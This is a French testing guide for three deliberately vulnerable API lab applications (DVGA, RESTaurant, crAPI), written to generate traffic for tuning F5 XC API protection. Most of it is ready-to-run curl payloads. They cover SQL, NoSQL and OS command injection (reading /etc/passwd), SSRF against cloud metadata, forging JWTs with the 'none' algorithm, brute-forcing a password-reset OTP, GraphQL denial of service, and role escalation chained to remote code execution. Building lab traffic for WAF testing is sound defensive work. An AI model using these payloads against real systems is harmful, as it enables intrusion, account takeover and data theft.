Aller au contenu

Guide de test des API

Ce guide répertorie l’ensemble des points de terminaison API, des vulnérabilités intentionnelles et des charges utiles d’attaque des trois applications de test de sécurité des API. Utilisez-le pour construire des modèles de génération de trafic destinés au développement de profils de protection des API F5 XC.

ApplicationProtocoleCheminPortAuthVulnérabilités
DVGAGraphQL/dvga/80Aucune (admin : admin/password)25 scénarios
RESTaurantREST (FastAPI)/restaurant/80JWT (encodé en formulaire)7 catégories OWASP API 2023
crAPIREST (microservices)/8888JWT (Bearer)18+ défis
Fenêtre de terminal
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

Point de terminaison GraphQL : POST ${ORIGIN}/dvga/graphql IDE GraphiQL : GET ${ORIGIN}/dvga/ Identifiants administrateur : admin / password

Toutes les interactions DVGA utilisent un unique point de terminaison (/dvga/graphql) avec des requêtes POST contenant des charges utiles JSON {"query":"..."}.

Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutations: createPaste, importPaste, uploadPaste
Types: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← référence circulaire
OpérationTypeAuthObjectif
pastes(public, filter, limit)QueryNonLister les pastes (injection SQL via filter)
paste(id)QueryNonRécupérer un seul paste
me(token)QueryNonObtenir l’utilisateur par JWT (vulnérable à la falsification)
systemHealthQueryNonVérification de l’état de santé
systemUpdateQueryNonRequête lente (~82 s, vecteur DoS)
systemDiagnostics(cmd)Queryadmin/passwordExécuter des commandes OS autorisées
createPaste(title, content, public)MutationNonCréer un paste (XSS via content)
importPaste(host, port, path, scheme)MutationNonImporter un paste distant (SSRF, injection de commandes)
uploadPaste(filename, content)MutationNonTéléverser un paste (traversée de chemin)

Attaque par requêtes groupées (Batch Query Attack) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

Récursion profonde (références circulaires Owner/Paste) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

Requête à forte consommation de ressources (~82 secondes de réponse) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

Duplication de champ (répéter un champ 500+ fois) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

Attaque par alias (1000 opérations avec alias) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

Introspection (énumération complète du schéma) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

Suggestions de champs (une faute de frappe révèle les champs valides) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

SSRF via importPaste (sondage des services internes) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

Injection SQL via le paramètre filter :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

XSS stocké via createPaste :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

Injection dans les journaux (usurpation du nom d’opération) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

Injection de commandes OS via importPaste :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

Commande OS via systemDiagnostics (authentification administrateur requise) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

Falsification de jeton JWT (accepte les jetons non signés) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

Écriture arbitraire de fichier via uploadPaste (traversée de chemin) :

Fenêtre de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

Interface Swagger : ${ORIGIN}/restaurant/docs Spécification OpenAPI : ${ORIGIN}/restaurant/openapi.json Auth : JWT via POST encodé en formulaire vers /restaurant/token Rôles : Client (par défaut), Employé, Chef (administrateur)

Fenêtre de terminal
# Créer un utilisateur de test
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# Obtenir un jeton JWT (REMARQUE : encodé en formulaire, pas en JSON)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Jeton Bearer : ${TOKEN}"
Point de terminaisonMéthodeAuthRôleVulnérabilité
/restaurant/registerPOSTNonCréation d’utilisateur
/restaurant/tokenPOSTNonJWT avec secret faible (97952)
/restaurant/healthcheckGETNonVérification de l’état de santé
/restaurant/profileGETOuiTousProfil utilisateur
/restaurant/profilePUTOuiTousBOLA (modifier d’autres utilisateurs)
/restaurant/profilePATCHOuiTousBOPLA (attribution de masse du rôle)
/restaurant/users/update_rolePUTOuiTousBFLA (élévation de rôle)
/restaurant/menuGETOuiTousLister les éléments du menu
/restaurant/menuPUTOuiEmployé+Créer un menu (SSRF via image)
/restaurant/menu/{item_id}PUTOuiEmployé+Mettre à jour le menu (SSRF via image)
/restaurant/menu/{item_id}DELETEOuiTousBFLA (n’importe quel utilisateur peut supprimer)
/restaurant/ordersGETOuiTousBOLA (consulter toutes les commandes)
/restaurant/ordersPOSTOuiTousCréer une commande
/restaurant/orders/{order_id}GETOuiTousBOLA (accéder aux commandes d’autres utilisateurs)
/restaurant/orders/status/{order_id}GETOuiTousÉtat de la commande
/restaurant/admin/stats/diskGETOuiChefInjection de commandes
/restaurant/reset-passwordPOSTNonDemande de réinitialisation du mot de passe
/restaurant/reset-password/new-passwordPOSTNonDéfinir un nouveau mot de passe
/restaurant/referral-codeGETOuiTousObtenir le code de parrainage
/restaurant/apply-referralPOSTOuiTousAppliquer le parrainage
/restaurant/discount-couponsGETOuiTousLister les coupons

API1:2023 — Broken Object Level Authorization (BOLA)

Section intitulée « API1:2023 — Broken Object Level Authorization (BOLA) »

Modifier le profil d’un autre utilisateur :

Fenêtre de terminal
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

Accéder aux commandes d’autres utilisateurs (énumérer le décalage) :

Fenêtre de terminal
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

Force brute du secret JWT faible (le secret est à 6 chiffres : 97952) :

Fenêtre de terminal
# Décoder et falsifier les jetons sur jwt.io
# Secret : 97952 (peut être forcé avec hashcat -a 3 -m 16500 token '?d?d?d?d?d?d')
# Falsifier un jeton Chef :
# En-tête : {"alg":"HS256","typ":"JWT"}
# Charge utile : {"sub":"chef","exp":9999999999}
# Signer avec le secret : 97952

API3:2023 — Broken Object Property Level Authorization (BOPLA)

Section intitulée « API3:2023 — Broken Object Property Level Authorization (BOPLA) »

Attribution de masse du rôle : passer de Client à Chef :

Fenêtre de terminal
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

Chemin d’escalade : Client → Employé → Chef :

Fenêtre de terminal
# Étape 1 : Escalader vers Employé
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# Étape 2 : Escalader vers Chef
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

API5:2023 — Broken Function Level Authorization (BFLA)

Section intitulée « API5:2023 — Broken Function Level Authorization (BFLA) »

Supprimer un élément du menu en tant que Client (devrait nécessiter Employé+) :

Fenêtre de terminal
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

Modifier le rôle d’un autre utilisateur :

Fenêtre de terminal
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

Sonder les points de terminaison internes via l’image_url du menu (nécessite le rôle Employé) :

Fenêtre de terminal
# D'abord, escalader vers Employé via BOPLA, puis :
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

Injection de commandes OS via les statistiques de disque (nécessite le rôle Chef) :

Fenêtre de terminal
# Après escalade vers Chef :
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"
Fenêtre de terminal
# 1. Inscription
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. Obtenir le jeton
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Escalader vers Chef (BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. Se ré-authentifier pour obtenir un jeton de niveau Chef
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. Injection de commandes (RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

Interface web : ${CRAPI}/ MailHog : ${CRAPI}/mailhog/ (capture d’e-mails pour la vérification) Auth : Jeton JWT Bearer (RS256, vulnérable à la confusion d’algorithme) Architecture : 7 microservices (identity, community, workshop, postgres, mongo, mailhog, web)

Configuration : Inscription, vérification de l’e-mail, connexion

Section intitulée « Configuration : Inscription, vérification de l’e-mail, connexion »
Fenêtre de terminal
# 1. Inscription
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. Vérifier MailHog pour l'e-mail de vérification
# Accéder à ${CRAPI}/mailhog/ ou utiliser l'API MailHog :
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"À : {m['Raw']['To'][0]}, Objet : {m['Content']['Headers']['Subject'][0]}\")
"
# 3. Se connecter et obtenir le jeton JWT
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Jeton Bearer : ${TOKEN}"
Point de terminaisonMéthodeAuthVulnérabilité
/identity/api/auth/signupPOSTNonInscription
/identity/api/auth/loginPOSTNonJeton JWT (confusion d’algorithme)
/identity/api/auth/forget-passwordPOSTNonDemande d’OTP
/identity/api/auth/v2/check-otpPOSTNonPas de limite de débit (force brute d’un OTP à 4 chiffres)
/identity/api/auth/v3/check-otpPOSTNonVersion avec limite de débit
/identity/api/v2/user/dashboardGETOuiProfil utilisateur
/identity/api/v2/user/change-emailPUTOuiChangement d’e-mail
/identity/api/v2/vehicle/vehiclesGETOuiLister les véhicules (fuite d’UUID)
/identity/api/v2/vehicle/{uuid}/locationGETOuiBOLA (véhicule de n’importe quel utilisateur)
/identity/api/v2/user/videosPOSTOuiTéléversement de vidéo
/identity/api/v2/user/videos/{id}GETOuiExposition de données (conversion_params)
/identity/api/v2/user/videos/{id}PUTOuiAttribution de masse (injection de commandes)
/identity/api/v2/admin/videos/{id}DELETEOuiBFLA (pas de vérification administrateur)
Point de terminaisonMéthodeAuthVulnérabilité
/community/api/v2/community/postsGETOuiExposition de données (fuite de vehicle_id, email)
/community/api/v2/community/postsPOSTOuiCréer un article de blog
/community/api/v2/community/posts/{id}/commentsPOSTOuiAjouter un commentaire
/community/api/v2/coupon/validate-couponPOSTOuiInjection NoSQL
Point de terminaisonMéthodeAuthVulnérabilité
/workshop/api/mechanicGETOuiExposition de données (e-mails des mécaniciens)
/workshop/api/mechanic/mechanic_reportGETNonBOLA (pas d’auth, ID séquentiels)
/workshop/api/merchant/contact_mechanicPOSTOuiSSRF + DoS
/workshop/api/shop/productsGETOuiCatalogue de produits
/workshop/api/shop/orders/POSTOuiCréer une commande
/workshop/api/shop/orders/allGETOuiLister les commandes
/workshop/api/shop/orders/{id}GETNonBOLA (authentification non requise)
/workshop/api/shop/orders/{id}PUTOuiAttribution de masse (status, quantity)
/workshop/api/shop/apply_couponPOSTOuiInjection SQL

Défi 1 — BOLA : Accéder à la localisation du véhicule d’un autre utilisateur

Section intitulée « Défi 1 — BOLA : Accéder à la localisation du véhicule d’un autre utilisateur »
Fenêtre de terminal
# Récupérer d'abord l'UUID de votre véhicule
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# Accéder au véhicule d'un autre utilisateur (remplacer l'UUID)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

Défi 2 — BOLA : Accéder aux rapports de mécanicien (sans authentification)

Section intitulée « Défi 2 — BOLA : Accéder aux rapports de mécanicien (sans authentification) »
Fenêtre de terminal
# Énumération d'ID séquentiels — aucun jeton requis
for i in 1 2 3 4 5; do
echo "Rapport $i :"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

Défi 3 — Authentification défaillante : Force brute de l’OTP de réinitialisation du mot de passe

Section intitulée « Défi 3 — Authentification défaillante : Force brute de l’OTP de réinitialisation du mot de passe »
Fenêtre de terminal
# Demander l'OTP pour la victime
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# Force brute de l'OTP à 4 chiffres (v2 n'a AUCUNE limite de débit)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

Défi 4 — Exposition de données : Fuite des e-mails des mécaniciens

Section intitulée « Défi 4 — Exposition de données : Fuite des e-mails des mécaniciens »
Fenêtre de terminal
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

Défi 5 — Exposition de données : Paramètres internes de conversion vidéo

Section intitulée « Défi 5 — Exposition de données : Paramètres internes de conversion vidéo »
Fenêtre de terminal
# Téléverser une vidéo, puis examiner la réponse
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# Rechercher le champ conversion_params dans la réponse
Fenêtre de terminal
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'

Défi 7 — BFLA : Supprimer une vidéo via le point de terminaison administrateur

Section intitulée « Défi 7 — BFLA : Supprimer une vidéo via le point de terminaison administrateur »
Fenêtre de terminal
# Un utilisateur ordinaire peut accéder au point de terminaison administrateur
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

Défis 8 & 9 — Attribution de masse : Articles gratuits via manipulation de commande

Section intitulée « Défis 8 & 9 — Attribution de masse : Articles gratuits via manipulation de commande »
Fenêtre de terminal
# Remplacer GET par PUT, modifier le statut et la quantité
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

Défi 10 — Injection de commandes via les paramètres de conversion vidéo

Section intitulée « Défi 10 — Injection de commandes via les paramètres de conversion vidéo »
Fenêtre de terminal
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'
Fenêtre de terminal
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'

Défi 12 — Injection NoSQL : Extraire les codes de coupon

Section intitulée « Défi 12 — Injection NoSQL : Extraire les codes de coupon »
Fenêtre de terminal
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'

Défi 13 — Injection SQL : Utiliser les coupons plusieurs fois

Section intitulée « Défi 13 — Injection SQL : Utiliser les coupons plusieurs fois »
Fenêtre de terminal
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"

Défi 14 — Accès aux commandes sans authentification

Section intitulée « Défi 14 — Accès aux commandes sans authentification »
Fenêtre de terminal
# Pas d'en-tête Authorization — retourne quand même des données
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done
Fenêtre de terminal
# Falsifier un JWT avec l'algorithme "none" (pas de vérification de signature) :
# 1. Définir l'en-tête : {"alg":"none","typ":"JWT"} et l'encoder en base64url
# 2. Définir la charge utile : {"email":"admin@example.com","role":"admin"} et l'encoder en base64url
# 3. Joindre avec des points, laisser la signature vide : <en-tête>.<charge utile>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

Catégorie OWASPDVGARESTaurantcrAPI
API1 : BOLAPUT /profile, GET /orders/{id}Localisation du véhicule, rapports de mécanicien, commandes
API2 : Authentification défaillanteFalsification JWT (requête me)Secret JWT faible (97952)Force brute OTP (v2), confusion d’algorithme JWT
API3 : BOPLAPATCH /profile (escalade de rôle)conversion_params vidéo, exposition des e-mails des mécaniciens
API4 : Consommation de ressourcesDoS par lot, récursion, alias, duplication de champÉnumération d’utilisateurs via la longueur de réponseDoS contact_mechanic repeat_request
API5 : BFLADELETE /menu, PUT /users/update_roleDELETE /admin/videos par un utilisateur ordinaire
API6 : Attribution de massePUT /orders (status, quantity)Status/quantity de commande, conversion_params vidéo
API7 : SSRFMutation importPastePUT /menu image_urlURL mechanic_api dans contact_mechanic
API8 : InjectionSQL (filter), XSS (content), cmd OS (importPaste, systemDiagnostics)Cmd OS (/admin/stats/disk?parameters=)NoSQL (validate-coupon), SQL (apply_coupon)
API9 : Actifs incorrects/auth/v2/check-otp déprécié (pas de limite de débit)
API10 : Consommation non sécurisée(indirect via SSRF)
Spécifique à GraphQLIntrospection, regroupement, récursion, alias, duplication de champ, fragments circulaires

Générez du trafic légitime pour établir le comportement normal de l’API avant de tester les modèles d’attaque.

Référence DVGA :

Fenêtre de terminal
# Requêtes normales
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

Référence RESTaurant :

Fenêtre de terminal
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

Référence crAPI :

Fenêtre de terminal
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

Tests BOLA : Énumérer les ID séquentiels, échanger les identifiants d’utilisateurs dans les requêtes, accéder aux ressources sans en être propriétaire.

Tests d’injection : Charges utiles SQL dans les paramètres filter/coupon, injection de requêtes GraphQL, injection de commandes OS via les champs de paramètres.

Tests de contournement d’authentification : Falsifier des jetons JWT, effectuer une force brute sur les OTP, utiliser des versions d’API dépréciées, confusion d’algorithme.

Tests SSRF : URL internes dans les paramètres importPaste, image_url et mechanic_api.

Tests DoS : Attaques GraphQL par lot/récursion/alias, repeat_request_if_failed avec des compteurs élevés.

Certaines attaques nécessitent des séquences multi-étapes avec maintien d’un état :

  1. Chaîne d’escalade RESTaurant : Inscription → Jeton → PATCH du rôle vers Chef → Ré-authentification → Injection de commandes
  2. Flux complet crAPI : Inscription → Vérification de l’e-mail (MailHog) → Connexion → Ajout d’un véhicule → Contact mécanicien (SSRF) → Manipulation de commande
  3. Reconnaissance vers exploitation DVGA : Introspection → Découverte de systemDiagnostics → Force brute des identifiants administrateur → Exécution de commandes OS
ModèleRequêtes/secDuréeRemarques
Référence (par application)10-505 minÉtablir l’empreinte de trafic normal
Énumération BOLA100-5002 minAnalyse d’ID séquentiels
Force brute OTP1000+Jusqu’à trouvé10 000 tentatives max (4 chiffres)
DoS GraphQL10-5030 secChaque requête est coûteuse côté serveur
Fuzzing d’injection50-2005 minVarier les charges utiles par requête
Sondage SSRF5-202 minLent ; chaque requête déclenche une requête HTTP côté serveur